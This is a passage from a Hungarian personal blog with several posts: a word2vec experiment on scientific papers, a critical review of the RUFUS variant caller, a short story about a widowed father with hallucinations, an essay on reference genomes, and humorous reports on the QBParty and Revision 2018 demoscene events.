HTML

Az élet kódjai

Csináld maga. Senki nem csinálja meg helyetted.

Friss topikok

Word2vec

2018.06.11. 00:23 Travis.CG

Nagy mennyiségű szöveg feldolgozásánál jelentkezhet az igény, hogy jó lenne a szavakat jelentés alapján csoportosítani. Erre az egyik módszer a Google által fejlesztett word2vec. Felületesen szólva az algoritmus nem csinál mást, mint a szavakat egy topológiai térképre helyezi. Ez azt jelenti, hogy az azonos jelentésű szavak közelebb kerülnek egymáshoz. Vagyis ha megnézzük, milyen szavak vannak a térképen a macska közelében, akkor megtalálhatjuk a cica szót. De ami még ennél is érdekesebb, hogy ebben a térképben vektorműveleteket végezetünk, ami további kapcsolatokat fed fel a szavak között. Mit is jelent ez? Ha a Németország - Berlin vektort rávetítjük Franciaországra, akkor Párizs fog kijönni!

Az algoritmust és a példakódokat bárki letöltheti és kipróbálhatja. Vannak példák a Wikipédiára és más nyilvános szöveg adatbázisokra, de én arra gondoltam, ki lehetne próbálni, mit tud az algoritmus, ha az összes elérhető tudományos publikációt beadom neki.

Először is letöltöttem az EuropeanPMC-ről az összes cikket XML formátumban. Egy saját fejelsztésű szkripttel kiszedtem a cikkek törzsét, azon belül eltávolítottam az összes XML tag-et, táblázatokat, magányosan álló számokat. Hevenyészett nyelvtani tudásomnak megfelelően az összes kötőszót, névelőt és hasonló, jelentéssel nem bíró nyelvtani elemet. Nem törekedtem tökéletes eredményre (nem is lett az), mindent szóközzé alakítottam.

Elég sok fájl volt, ezért a szuperszámítógépen futtattam a programot. Mivel a miniDOM-ot használtam, ami nem a legjobb megoldás nagy XML-ek kezelésére és elég lassú is, ezért optimalizáció helyett nagyobb erőforrást adtam csak alá. A végén már 80GB memória kellett a szkriptnek. Nem akartam túl sok időt bohóckodni vele. A végső korpuszt egybe gyúrtam, és egy 32 processzoros gépen elkészítettem az összes publikáció vektor reprezentációját.

Nyilván a feltárt kapcsolatok függenek a beadott korpusz tartalmától. A fent említett példák ezért biztosan jól működnek egy Wikipedia-szerű, általános információkat tartalmazó szövegben. Meglepő módon a publikációkból is kinyerhető ez az információ!

Először tumorok neveivel kísérleteztem, de csak más tumorok jöttek ki. Ha beírtam, hogy breast, rögtön kijött, hogy cancer és prostate. Nem rossz, nem rossz. Kíváncsiságból beírtam a főnököm vezeték nevét, mire az első 10 találatban ott volt, hogy kmplot. Ezen jót nevettem, de érthető is, mert az a legidézettebb cikke. Ezt követően elkapott a gépszíj és egy csomó csúnya szót is beírtam. Nagyon meglepődtem, amikor mindegyik találatot kapott. Ha nem említettem volna, az algoritmus alapértelmezetten az első 10 ezer leggyakoribb szót használja csak a térkép elkészítéséhez, és ebben benne van az angol káromkodás java része. Ennyit a tudományos nyelvhasználatról.

Még az én rég elfeledett programom, a mofext is reprezentálva van, motifscannerrel, fuznuccal esik egy kategóriába, ami igaz is, tényleg hasonló feladatot látnak el. A 24. helyen pedig a doopsearch jött fel. Le voltam nyűgözve.

Ezt követte a szókapcsolatok felderítése. Itt már jóval nehezebb volt a dolgom. Igazából az ok, ami miatt belekezdtem a projektbe, hogy szövegbányászattal lehet-e új géneket találni az egyes ráktípusokhoz. Olyan géneket, amelyek megvannak a publikációkban, de valahogy elkerülték mindenki figyelmét. A programnak három szót kell beadni, és a válasz egy analógia lesz. A bevezetőben bemutatott példa valami miatt nem működött, de a berlin germany paris hármasra megkaptam a france-t.

Sőt, a kutatók karrierjét is elég jól fel lehet térképezni a módszerrel. Például az altschul blastn loman hármasra a minion jön ki. (Nick Loman elég sok MinION-os cikket publikál. Altschul pedig a Blast fejlesztője.)

Ez után jött a kísérletezés. A retinoblastoma rb1 breast-re az esr1 jött ki első helyen. Brca1 csak a 8. volt. Arra számítottam, hogy előkelőbb helyet foglal el. A cancer tp53 metastasis kapcsolat a ctnnb1, pten, p53, kras találatokat kaptam. Igazából bármilyen kapcsolatra, amiben szerepelt a cancer, ezeket a géneket hozta fel.

Ilyen szempontból az eredeti célokat nem értem el, nem találtam új géneket. Igazából elég sok időt el lehetne játszani vele, mert a korpuszt is válatozhathanám. Például a különböző rák típusokat nem hagynám elveszni (breast_cancer). De nem hiszem, hogy egy projektet érdemes lenne rááldozni.

Szólj hozzá!

Címkék: machine learning

RUFUS: az elfajzott PhD disszertáció

2018.06.06. 15:36 Travis.CG

A RUFUS eredetileg egy PhD disszertációnak indult, de csakhamar életcéllá vált. Egy korábbi hozzászólásomban megígértem, hogy kipróbálom, amit most be is tartok.

A GitHubról letöltött legfrissebb verzióval próbálkoztam, ami valószínűleg több problémát okozott, mint hasznot, de a végére már csak dacból sem töltöttem le a legstabilabb verziót.

Telepítés

A telepítés nem ment simán. Illetve simán ment, de használat közben derült ki, hogy nem sikerült. Az is másfél óra futás után. Szóval az alap telepítés nem működik. Leszedi a szükséges függőségeket, de valahogy a tabix kimaradt és elkeseredetten vinnyogott miatta. A program által letöltött samtools csomagból viszont könnyedén fordítottam egyet és betettem az általa elvárt könyvtárba (bin/tabix) A RUFUS.interprettel viszont komolyan meggyűlt a bajom, mert nem értettem a linker által adott hibaüzenetet. Mint kiderült előre fordított fájlok voltak az src/include könyvátrban. Azokat letöröltem és az src/external/fastahack könyvtár kódját újra fordítottam -fPIC opcióval, majd kézzel a .o kiterjesztésű állományokat az src/include könyvtárba másoltam. Végül már csak a beleégetett elérési utakkal kellett megbírkózni a scripts könyvtárban. A hibákat kijavítva már futott.

Használata

A leírás szerint képes referencia szekvencia nélkül futni, de a valóságban csupán FASTQ fájlokat nem lehet beadni neki. A bemeneti állomány BAM fájlok és egy BWA által indexelt referencia állomány! Igen, egy indexelt referencia. Nélküle meg sem nyikkan. Tesztfájlnak a TCGA-ról letöltött adatot használtam. Ez két BAM fájlt és négy VCF állományt tartalmazott, amive összehasonlíthatom az eredményeket.

runRufus.sh -s 9ea8bfdf928ö15cb155f3fö86beb8191_gdc_realn.bam -c 7db35f69f8d0c825a29073137a70dd99_gdc_realn.bam -t 2 -k 25 -r human.fa

A program 101 percet futott (Core i5, két szálon) és 5 darab SNP-t azonosított, ebből 2 mitokondriális. A Mutect2, amiben a legjobban bízom, csak ez utóbbiakat találta meg, a többit nem. A SomatiSniper volt képes egyedül megtalálni az egyik autószómális mutációt. Az egyik mutáció, amit csak a RUFUS talált meg, egy EHF génbe esett, ami érdekesnek tűnik és még le is írták bélrákban, de őszintén szólva elég nehéz elhinni, hogy ez az egy mutáció felelős ennek a betegnek az állapotáért, akit ráadásul mellrákkal diagnosztizáltak.

A másik ok, ami miatt szkeptikus vagyok az eredményeket illetően, hogy nem találtunk egyetlen TTN mutációt sem. Még Patrick is tudja, hogy rákos minták szekvenálásánál ennek lenni kell :-)

A program rengeteg átmeneti állományt készít és mivel nincs parancssori kapcsoló a szabályozásukra, rengeteg felesleges fájl marad hátra a futás után. Kicsit kényelmetlenné teszi a használatot.

A stabil verziót is megpróbáltam lefuttatni, hogy ne mondhassátok: bizonyára a forráskódban való turkálásom rontotta el a programot, de az sem fordult le magától és ott is ugyan úgy megvannak a beégetett elérési utak.

Összegzés

A program valamikor valószínűleg referencia mentes variációkat keresett, legalábbis a legelső kód GitHubon még FASTQ fájlokat olvasott. Időközben viszont elkezdett hízni és lett belőle valami, ami már köszönő viszonyban sincs az eredeti célokkal. Ennek nem tudom, mi lehet az oka. Talán a referencia még mindig több előnyt kínál, mint amennyi problémát okoz, amit végül barátunk is belátott. A másik lehetőség, hogy a rákos minták nagyobb kihívást jelentenek a program számára, mint a trió adatok, amin eredetileg fejlesztették. Minden esetre én nem akarom többet használni.

Szólj hozzá!

Címkék: bioinformatika

Elveszett szülők

2018.06.03. 12:02 Travis.CG

A veszekedés után éberen feküdtem az ágyban. Hallottam, amikor a zárnyelv minden igyekezet ellenére csattan a kulcs elfordítása után. Elment. Biztos azt hitte már alszom. De hogyan is alhatnék, egy ilyen helyzetben? Tudtam, hova megy. Biztosan a barátjához, ahhoz a szerencsétlen alakhoz, aki tizenkilenc évesen is azt gondolja, holmi zenélésből meg lehet élni és el lehet tartani egy családot. Nem, családra biztosan nem gondol. Csak a lányomat akarja taperolni, amihez immár minden körülmény adott. Illetve adott lesz, amint megérkezik hozzá.

A gondolatra éreztem, ahogy megkeményedik az államon egy izom. A dac izma. Ezt nem hagyhatom! Levetettem a takarót és öltözni kezdtem. Nem kellett sietnem, tudtam, hova kell mennem. Azt, hogy mit fogok tenni, még nem volt tiszta. Soha sem tiszta, mit kell tenni. Az ember csak megadja a kezdő lökést és a dolgok beindulnak. Az első lépés után a rendszer saját tehetetlensége folytán mozgásba lendül. Ilyenkor késő meggondolni magunkat, mert a sors csak széttárja a karját és annyit mond: Te akartad!

- Mit csinálsz, fiam?

- Apa, te hogy kerülsz ide?

- Tudod, te jól - természetesen tudtam. Egyre élethűbb volt, ami az időnek és a kitartó munkámnak volt köszönhető.

- El kell mennem. A lányom hülyeséget akar csinálni.

- Minden gyerek azt akar csinálni - nem tette hozzá: Te is. Nem is kellett.

Pillanatok alatt felöltöztem. Az ajtóhoz léptem, nekem nem kellett attól félnem, felébresztek valakit. Gyorsan kiértem a hűvös éjszakába. Ideges voltam, az állam még mindig egy kőre hasonlított, mégis kényszerítettem magam, hogy lassan menjek. Nem akartam, hogy ő észrevegye, követem. Abban biztos voltam, hogy azzal csak tovább rontom a helyzetet.

Tíz perc séta, ennyi kell, hogy elérjem a kétszintes családi házat, ahol a fiú lakott. Azt is tudtam, hogy az emeleten van a szobája. A szüleivel élt, akik az alsó szinten aludtak. Vajon a lányom hogy jut fel? Remélem nem akar egy feminista Júlia módjára egy fordított erkély jelenetet eljátszani. Leesik, eltöri kezét, lábát. De a gerincét is eltörheti! Lebénul és pelenkáznom kell élete végéig.

- Min vesztetek össze? - kérdezte apám, aki hirtelen ott sétált mellettem. Könnyedén tartotta a lépést velem, holott mindig lassan és megfontoltan lépkedett. A térdműtétje után pedig még megfontoltabbá vált.

- Szokásos, akar valamit és nem érti meg, hogy amit akar, az nem jó. Tudom, hogy nem jó, mert a Józsi lányával is pont ez volt, aztán terhes lett és hat ujja lett, miután megszületett... - és csak folyt belőlem a szó, összefüggéstelenül egyre lazább logikai kapcsolatokkal, de annál tágabb asszociációkkal. De ez is csak utólag tudatosult bennem. Akkor és ott nem. Akkor és ott a sok zagyvaság kristálytiszta dedukció volt. Apámat természetesen nem zavarta. Soha nem zavarta. Mindig türelmesen megvárta, míg kiapadt a mondanivalóm.

A lányomat annál inkább zavarta. Legtöbbször tudok uralkodni magamon. Erős érzelmi behatásra viszont előjön belőlem. A normális beszélgetéseknél észre sem lehet venni. De ha elkezdi mondani a terveit, rögtön felmegy bennem a pumpa. Elkezdek érvelni, miért ne csinálja, és akkor átszakad valami. Valami, amit igyekszek kordába tartani. Kibukkan belőlem, mint a szennyvíz csőtöréskor és onnantól már nem lehet elállítani. Ez az, amit a lányom nem bír elviselni. Ilyenkor elviharzik és hangos csattanással bevágja maga mögött a szobája ajtaját.

De ma más is történt. Nem a szobájába menekült, hanem el a lakásból.

- Most már érted, mit jelent szülőnek lenni - összegezte apám. Mindig csodáltam ezt a képességét. Nem volt magasan iskolázott, de mindig tisztán és röviden ki tudta fejezni magát.

- Tényleg ennyire nehéz?

- Még nehezebb - hamiskás mosoly bujkált az arcán, mintha én is csatlakoztam volna egy titkos klubbhoz.

Szép lassan megérkeztünk a házhoz. A mentők nem vonultak ki, tehát akár hogyan is jutott be a lányom, nem tört el semmilye. Az emeleten égett a villany, bizonyára épp most ecseteli, mennyire rossz apa vagyok. Az utcán volt egy pad, oda telepedtem le. Csak oldalról láttam rá az ablakra, csupán azt láttam, hogy ég-e a villany, vagy sem.

- Most mit fogsz tenni? - kérdezte apám.

- Bemegyek és leverem annak a gyökérnek a veséjét.

- A te vesédet sem verte le senki, mikor ennyi idős voltál.

- Az más volt, ő a feleségem lett.

- Honnan tudod, hogy nem fog hozzámenni?

- Ez csak egy zenész, semmit nem tud a világról.

- Mert te mindent tudtál? Úgy tűnik, még most sem nőtt be a fejed lágya. Itt ülsz a hidegben és velem beszélgetsz.

- Megnyugtat, ha veled beszélhetek.

- Attól még szedned kellene a gyógyszereket.

- Ha szedem, nem látlak - mondtam egészen halkan. Egy pillanatra úgy éreztem, egyedül ülök a padon és magamban beszélek. - Elvesztettem a feleségem, elvesztettelek téged.

Talán a hűvös szél tette, nem tudom, de éreztem, hogy egyedül vagyok. Összeszorítottam a szememet, kényszerítettem magam, hogy térjen vissza a látomás. Csak halványan hallottam a hangot, mintha víz alól jönne. Majd megismételte mondnandóját, és mire kimondta, már megint ott ült apám teljes valójában. Még azt is láttam, ahogy a szél borzolja őszes haját.

- Így a lányodat is el fogod veszíteni. Ő nem tudja, hogy problémáid vannak.

- Tanácsra van szükségem.

- Amit én adni tudok, azt te már mind tudod, mégsem fogadod meg, miközben elvárod, hogy a lányod azt tegye, amit mondasz.

- De ha nem mondom, mit tegyen, hibázni fog.

- Igen, hibázni fog. De abból az egy hibából többet tanul, mint egy óra prédikációból.

- Elszúrja a jövőjét!

- Ejj, ha a gyerek gyufát gyújt, valószínűbb, hogy a kezét égeti meg, mint, hogy felgyújtsa a házat.

- Ez nehéz. Látni, hogy fejjel megy a falnak, miközben ki is kerülhetné.

- Senki sem mondta, hogy könnyű. Egyébként csak egy hétvégét akarnak eltölteni a Balatonon, ettől nem lesz hat ujjú gyereke. Elég idős már, hogy megbízz benne.

- Túl fiatal, hogy tanács nélkül kiengedjem a világba. El fog tévedni. Port csempésznek az italába, elkábítják, kioperálják a veséjét és a szervkereskedőknek adják és ott lesz a nagy heg rajta, a ronda nagy heg... - és csak jött és jött belőlem a szóáradat. Amikor megindultak a könnyeim, a hangom motyogássá degradálódtak. Összeszorítottam az öklömet és ahogy a körmeim vésőként fúrták magukat bőrömbe, ismét kezdett kitisztulni a világ. A hűvös éjszakai szél felszárította könnyeimet. Apa már nem ült mellettem. Többet nem is fogom látni. Most tettem meg az első szükséges lépést.

Felálltam és hazamentem. Az út visszafelé hosszabbnak tűnt, mint idefelé. Aludni viszont nem tudtam. Bevettem a gyógyszert és vártam, hogy hasson. Leültem a konyhába és néztem maga elé, próbáltam gondolkodni, de csak ürességet éreztem. Nem kellett sokáig várnom, tíz perc telhtett el, amikor a zár lehelet lassan elfordult, majd jött a jól ismert csattanás, ahogy a rugó visszahúzza a zárnyelvet, majd hosszú másodpercekig nem történt semmi. Biztos azon gondolkodik, hogy ez a zaj felébresztett-e. Végül a kilincs is megmozdult.

Belépett és meglepődve nézett rám. Állán az izom kezdett megkeményedni, ahogy felkészült az újabb összecsapásra velem. Le sem tagadhatná, hogy az apja lánya.

- Hallottam, ahogy elmentél - kezdtem.

- Szükségem volt valakire, aki meghallgat - azzal a daccal nézett rám, ami a kíméletlen őszinteség forrása. Készen állt rá, hogy rám borítsa az egészet, és nagyobb fájdalmban részesítsen, mint az összes korábbi hazugságával egyszerre.

Meg kell tennem. Újra meg kell tennem az első lépést. Féltem, mert nem tudtam, mi lesz a reakciója. Féltem, mert ha belekezdek, többet nem lehet semmissé tenni. A földet bámultam, nem mertem a szemébe nézni, de mégis a zsebembe nyúltam és kitettem az asztalra a gyógyszeres fiolát.

- Az micsoda? - kérdezte.

Miután megtettem az első lépést, onnantól már ment minden könnyedén, mint hullámvasút, amit csak felvontatni nehéz.

- Vannak bizonyos problémáim - azzal elkezdtem mesélni mindent. Az első tüneteket, amiket a feleségem halála után vettem észre és a kitartó munkát, amivel emlékeimből és a halucinációkból újra teremtettem édesapámat. A beszélgetés során többször összegubancolódtak a mondatok, de a lányom gyengéden kibontotta őket. Gyerekké váltam, de ezt akkor egy cseppet sem bántam. Csend lett, én pedig vártam a szidalmat, vártam a feloldozást, vártam, mi lesz a lányom reakciója. Végül felnéztem egyenesen a szemébe.

- Jajj, apa - mondta enyhe megrovással, amikor végeztem.

Szólj hozzá!

Címkék: irodalom

A referencia genom: jobb, ha van, de jobb, ha nincs

2018.05.27. 12:00 Travis.CG

A második generációs szekvenáló platformok read mérete kicsi. Önmagukban, az esetek döntő többségében, használhatatlanok. A szekvenálási módszerekre a referencia genom teszi fel a koronát. A vizsgálatok tehát annyira lesznek jók, amennyire a referencia genom.

Egy picit nézzük át a referencia genomok fejlődését a humán genomon keresztül! Kezdetben ez csak egy FASTA fájl volt, minden kromoszómáról egy kópiában tartalmazott megvétózhatatlan információt. Minden, ami egy kicsit is más volt, "mutáció", abnormalitás lett és elkezdték gyűjteni olyan adatbázisokba, mint amilyen a dbSNP. A bonyolult részeket N-el töltötték fel és bíztak a tudomány töretlen fejlődésében, hogy megoldja ezeket a problémákat. Mindenki boldog volt. Kivéve talán Ventert, akinek a referencia genomját nem akarta az egész világ használni.

Azután megindult az emberek szekvenálása. Egyre többet, egyre alaposabban szekvenáltak. A kezdeti N-el feltöltött lyukakat foltozták, de közben egyre több bizonyíték gyűlt össze, hogy a referencia genom bizony nem egy mindenkire alkalmazható séma. A variabilitás meglepő mértéket öltött. Nem csak "pötty" mutációk voltak (snpk, kis indelek), hanem kópia szám változások, genetikai átrendeződések. Rákos genomokat szekvenáltak, amelyek mintha mit sem törődtek volna a genom stabilitással. A read méretek még mindig szánalmasan kicsik voltak és bár az IBM böhöm gépeket akart eladni a rutin szintű de-novo assemblyhez, a tudós közösség továbbra is referenciához illesztett.

A szép, csodálatos referencia genom elkezdett szeplősödni. Először extra kontigok kerültek bele. Olyan szekvenciák, amelyekről gyanították, melyik kromoszómáról származnak, de pontos helyét nem ismerték. Aztán gyakori haplotípusok, mert a hipervariábilis régiókra rémálom volt az illesztés. Közben egyes mutációk gyakorisága megnövekedett és már nem tűntek olyan abnormálisnak, mint korábban. Bizony, bizony a referencia már nem volt olyan előnyös, mint annak idején. Már nem volt mindenki boldog.

Elkezdtek tehát olyan megoldásokat keresni, amikor nincs szükség referencia genomra. Hiszen egyes vizsgálatokhoz nem is volt kifejezetten szükség rá, csak arra, hogy megmondjuk a különbséget két minta között.

Az egyik ilyen program a RUFUS volt. Elsősorban trió adatok feldolgozására tervezték, de igazából bármilyen összehasonlító vizsgálatra alkalmas, akár tumor-normál mintákra is alkalmazható. Érzékenysége a szerző szerint megegyezik a GATK érzékenységével, de nem igényel olyan időigényes előkészítést, mint az, tehát a futási idő is rövidebb.

Hasonló ötlet húzódik meg a Salmon/Kallisto páros mögött is. (És itt kicsit kapcsolódunk a "Majdnem mindent az RNA-seq-ről" sorozatunkhoz is.) Differenciál expressziós vizsgálatoknál is csak az érdekel minket, milyen expressziós eltérések vannak a mintáink között. Mindkét program a nyers FASTQ fájlokon fut, elhagyhatjuk a referencia indexelését, és az illesztést. Alacsonyabb a memória igény, gyorsabban kapunk eredményeket. Én a Kallistot használtam egy olyan adatsoron, amit korábban TopHat/Cufflinks-el már feldolgoztam. Az igazság az, hogy az eredmények drasztikusan eltértek. Érdekes módon általában alacsonyabb readszámok jöttek ki Kallistoval.

Egy másik ötlet szerint nincs szükség a referencia eltávolítására, csupán egy modernebb köntösbe kell bújtatni azt, ami jobban megfelel a kor követelményeinek. A FASTA fájl helyett egy gráfot kellene használni. Ebbe aztán felvihetjük az alternatív szekvenciákat, mint amilyenek a haplotípusok, struktúrális átrendeződések. Az illesztés is átalakulna, mivel nem csak a legjobb útvonalat kellene megtalálni, hanem az eltéréseket is, mindezt egy diploid genomon. A gráfokról, mint számítógépes adatstruktúrákról tudni kell, hogy tárolásuk memória intenzív. A gráf bejárása NP-teljes, ezért hatékony indexelés kell. Szerencsére ilyen módszer már létezik (cikk), de a BWA teljesítményét nyújtó index két éve még 300GB tárhelyet igényelt. Ráadásul, míg a BWA referencia indexelése csak kis mértékben befolyásolja az illesztést, addig a gráf indexelés egy trade-off. A hatékonyabb indexel több találatunk lesz, de a tárhely igény növekedik. Kisebb indexel viszont találatokat fogunk veszteni.

Ígéretes kezdeményezés, de még messze van attól, hogy laptopunkra telepítsük és ráeresszünk több száz egy sejtes adatot.

Közben azt sem szabad elfelejteni, hogy a szekvenálás maga is változik. Annak idején poénnak szántam a humán genom szekvenálást MinION-al, de azóta ez komollyá vált. A cikk csak egy koncepciót vázolt fel, mert hatékony, Illumina-szintű eredményt nem értek el, ráadásuk a szükséges számítási teljesítmény egy kisebb intézmény igényeivel vetekedett, de az üzenet egyértelmű: meg lehet csinálni. Ugyan akkor a cikknek egy másik fontos üzenete is van: a jelenlegi formátumok és programok a rövid read méretre vannak szabva. Teljesen használhatatlanok lesznek ha széles körben elterjednek a harmadik generációs szekvenálási eljárások.

Akár így, akár úgy, de a hagyományos értelembe vett referencia szekvencia el fog tűnni. Jó volt a maga idejében, de szerepe az idővel egyre jobban háttérbe fog szorulni és végül elfoglalja méltó helyét az GCG, a CD-n terjesztett Blast adatbázis és a kézzel bepötyögött szekvencia fájlok mellett.

2 komment

Címkék: bioinformatika

QBParty 2018

2018.05.21. 22:33 Travis.CG

Jó estét, jó szurkolást minden kedves nézőnknek. Majdnem élőben jelentkezünk a 2018-as QBPartyról. Itt, a stúdióban ülünk kommentátór társammal, Néma Leventével. Levente, kérlek köszöntsd a nézőket!

Biccentett. Ezen is megvolt. Itt vagyunk már 11 óra óta a party helyszínén, de eddig nem sok mindent láttunk. A budapesti kontingens még nem érkezett meg. A teremben tapintani lehet az ürességet. Értik! Hahaha. Tapintani...az...ürességet...hahaha. Ahogy Levente arcára nézek, mintha nem osztaná mondatom komikus voltát.

Az előtérben ketten próbálgatnak egy C64-ből, egy meghatározhatatlan játékkonzolból és számtalan vezetékből összetákolt gitárt. Csak reménykedni tudunk, hogy ez egy nagyszerű bemutató előkészületei. Én legalábbis nagyon izgulok, míg Levente csak a szemét forgatja.

A hangulat egyébként remek, az alacsony látogatószám ellenére élénk beszélgetések zajlanak mindenhol. Spenót büszkén mutatja raytracelt gömbjeit, de elmondása szerint nem várhatunk releast tőle. Micsoda varjú, micsoda varjú. Értik! Kár. Hahaha. Jajj! Levente kollégám fejbe csapott egy összecsavart újsággal.

ÉÉÉÉs közben el is kezdődött a Combined Music Compo! Elsőre Teo adta meg az alaphangot egy jó kis zúzós számmal. Nem tudom, ti hogy vagytok vele, de nekem máris táncolhatnékom van. Utána mindjárt Nagz dübörögteti a hangszórókat. Mintha törzsi dobok lennének a ritmus alá keverve. Ennyi. Nincs több zene. Csalódott vagyok. Levente pókerarccal néz rám, de én biztos vagyok benne, hogy ő is csalódott.

Talán a grafika elűzi a csalódottságot. A kompó öt fényképpel kezdődött, amelyeket megszokhattunk már kis partikon: vicces, de inkább kínos. Érdemes megjegyezni, hogy az összes kép a partin készült, vagy az ide vezető úton.

Bobic képe volt az első átmenet a kattintás és alkotás fázisában, a fotót már Photoscape-pel módosították. Rascy képe volt az első, ami már grafikai munkát is tartalmazott, még ha csak nyomokban is. Aztán GeriJ rendere minőségi ugrást jelentett. Egy gyönyörű sportautót ábrázolt. Leon második bemutatott képe már C64 grafika, ahogy tőle elvárjuk. Dorcyy sci-fi témájú kézi rajza megmutatta, hogy nem csak fénnyel lehet képeket készíteni. Értitek! Fény képek. Aúú! Levente, honnan szedted azt a széklábat?

Most játsszunk egyet! Legalábbis a Game compo keretein belül. Az első a Drunk Wizard, egy Harry-Potter témájú flappy bird klón. A második egy autóverseny játék volt, szép, jó. A harmadikban az égből hulló mókusokat kellett láncfűrésszel szétvágni, miközben a két, egymás ellen játszó játékos egy gumikötéllel volt összekötve. Levente szája sarka aprót rángott, amit én egy mosolynak tudnék beazonosítani. Ez bezzeg tetszik neki!

A compok szünetében nézzünk ki a kerthelységbe, hogy lássunk mi zajlik odakint. Az öreg Amigások egy asztal köré sereglettek, isznak és közben a kilencvenes évek diszkó slágereit hallgatják. Szomorú látvány, hogy csak a régi ingerek éltetik őket. Egy olyan időutazásban vesznek részt, ahol a csak a testük halad a korral, ők maguk megálltak a kilencvenes években. Rázzák magukat ugyan azokra az ütemekre, amelyekre régen és rég elfeledett számokat pocskondiáznak, ahogy azt annak idején is tették.

Mások viszont láthatólag képesek haladni a korral. Poison két kis lurkóval érkezett. Üdvözli a régi arcokat, de nem felejti el, mi is a fontos.

Ha már végeztünk az old school arcokkal, nézzünk be az Old School compóba. Az első a Lethargy demója, Grass logójával. Nos, láttunk már jobb alkotást is. A második release a scrollerek népes táborát gyarapítja, de a kreatívabb fajtából. Majd egy Plus4 tracktro következik. Látszik rajta, hogy sok random részből rakták összes, de elég szeretet volt benne, amit a végén a credit is megerősített.

De itt az idő, hogy bevaduljunk, mert jön a Wild compó. Értitek! WÁÁÁÁÁÁJD. Levente, eltörted a karom azzal a baseball-utővel! Először egy mikrokontrollert láttunk, de csak scroller volt. Biztos többet is tudott volna a szerkezet. Másodiknak Musk magánelőadását kísérhettük figyelemmel, bevallom, mi itt a stúdióban nem értettük, miről van szó, mert a hangosítás torzított. A harmadik a jól ismert Minden Gargaj poén folytatása. Ez is olyan hagyomány már, mint a Rob is Jarig. A nézők annyira fellelkesültek, hogy szótagonként ismételték: min-den-Gar-gaj, ahogy a filmen látták. Az előtérben látott előkészületek a negyedik releasere értek be. Nem semmi volt! A tervezettnél hosszabb technikai szünet következett, majd jött a múlt években nagy sikert aratott Viti lézershow újabb fejezete. Ahogy hallom a közönséget, megérte minden perc várakozás.

De nincs megállás! A 256b intrók már itt toporognak az ajtóban, hogy a közönségre vessék magukat. Elsőként a kl nevű intrót láthattuk, ami sokkal fantáziadúsabb, mint a neve. A She egy 256 bájtos kép megjelenítő, sok zajjal. Mind a képen, mind a hangszóróban. A harmadik egy 32b-os zene volt. Levente ádámcsutkája kettőt liftezett. Mi tagadás, én is elérzékenyültem. Végezetül egy tűz effekt az Undefined Behaviortól.

Még be sem sötétedett, de már hívják az embereket a demókhoz. Először egy fekete-fehér demót nézhettünk meg Pasyék alkotóműhelyéből. Csak nem az Adjective monopóliumát irigyelték meg az érthetetlen demók terén? Nem ez hozza el a trónfosztást, az biztos. A Tesco Gazdaságos Demócsapat sem tétlenkedett. Az előbb említett Adjective azzal okozott meglepetést, hogy nem elvont, bonyolult művészi alkotást hozott, hanem egy demót. Mi történt, kérem? Mégis, hogyan skatulyázzuk be a demócsapatokat, ha így váltogatják a stílusokat? Végére maradt két demó, aminek nem Nagz szerezte a zenéjét. Az első az Air a Dilemmatól. Nagyon szépen összeszedett kis alkotás, meg kell hagyni. A zene is nagyszerű. Talán még a kompót is megnyerik. Végezetül a szivárványok csaptak össze, ahogy SlySpytól megszoktuk. A Rainbow Clash ismét nem maradhatott el a címből.

Búcsúzunk nézőinktől, akik velünk együtt izgulhatták végig ezt a remek partyt. Kiváló hangulat, remek szervezés és végtelen jókedv. Ezzel jellemezhetném az eseményt. Az utolsó poéntól megkímélem a hallgatóságot, mert Levente az asztalra tett egy Magnumot. Nem akarom, hogy a célozgatásból célra tartás legyen, ha értik, mire gond...

Szólj hozzá!

Címkék: demoscene

Cseppet sem objektíven: Revision 2018

2018.05.10. 00:09 Travis.CG

Az idei Revision a nyers demoscene hangulatában telt. Már az invitáció is azt sugallta, a maga letisztult formájával, hogy a sallangokat felejtsük el. Bár csak a közvetítést néztem, (azt is folyamatos harcban az álmossággal) de úgy tűnt a szervezők komolyan veszik a célt. A kompók felvezetése is néha olyanná vált, mintha DFox nem akarna semmit csinálni. Ült a színpadon, sört kortyolt és elvolt.

A résztvevőkről szerencsére a résztvevők nem fogadták meg ezt a fajta hozzáállást és igen kitettek magukért. Lássuk, mivel kápráztatták el a nézőket!

Streaming music

Zeneileg nem volt lenyűgöző, amit hallottam, de szórakozásnak kiváló volt. Mit értek ez alatt? Netpoet mindjárt az Áttörés babérjaira tört You című számával. A szövegben remekül keverte a konyha-filozófia és a motivációs előadások klisés tanácsait, mindezt egy kellemes dallammal fűszerezve.

A másik Kangaroo blaszfémiát súroló dalszövege, ami szerint Jézus azért halt meg, hogy legyen Húsvéti demóparty. Érzékeny lelkűeknek meghallgatását nem ajánlom.

Executable music

Csak négy futtatható zene volt, de végig sem tudtam hallgatni őket. Túl monotonak voltak.

Oldschool music

Elég sok Amigás induló volt, akadt egy Atari is. Ez utóbbi a platform adta limitáló tényezők miatt volt érdekes, de élvezeti értéke számomra nem sok volt.

Tracked music

A nekem tetsző zenéket a közönség a lista hátsó végébe száműzte. Ez az Ulterior és a Slow cha cha cha volt. Kívül állóknak mesélek egy kicsit erről a fajta zenéről. Ma már nem nagy szám, hogy egy számítógép egy teljes zeneszám hullámformáját lejátssza, de a régi időkben ez nem volt lehetséges. Ezért csak rövid zenei elemeket, úgynevezett sample-ket tároltak a memóriában és egy kottához hasonló táblázat határozta meg, mikor és hogyan kell lejátszani az adott sample-t. A compok alatt ezt a táblázatot lehet látni, ami valljuk be, nem túl érdekes.

Ezt gondolhatta Ferris, H0ffman és Wobble is, akik gyakorlatilag egy demót csináltak ezen minták felhasználásával. A zene sem rossz, de ezzel a vizuális trükkel egyértelműen a legjobbak voltak a compón.

Fotó

Elég sok igényes kép készült, viszonylag kevés purhab típusú alkotást adtak be. Mégis némelyik képnél nehéz elhinni, hogy mérsékelt retusálást tartalmazott.

Most nem voltak elérhetőek a retusálás nélküli képek, ezért nehéz valódi ítéletet mondani.

4k executable graphics

 Mivel továbbra is erős vonzalmat érzek a Linuxos releasek iránt, meg kell említenem Cenotaph-ot. Bár nálam nem működött rendesen (a kép csak egy pillanatra villant fel, amikor a fekete képernyőből ki akartam lépni), a szerző azt állította, hogy kifejlesztett egy új tömörítőt. Kíváncsian várom! A harmadik helyen egy magyar produkciót is láthattunk egy jópofa űrhajóról.

Animált GIF

A többi kategóriához képest ez most könnyebb volt, de azért akadt pár felkavaró elem. Az egyik a második helyezett szemes-ajtós volt. Szerencsére a nyertes heeelix igen ötletes volt. Azt lehet nézegetni órákon át.

ASCII/ANSI/PETSCII

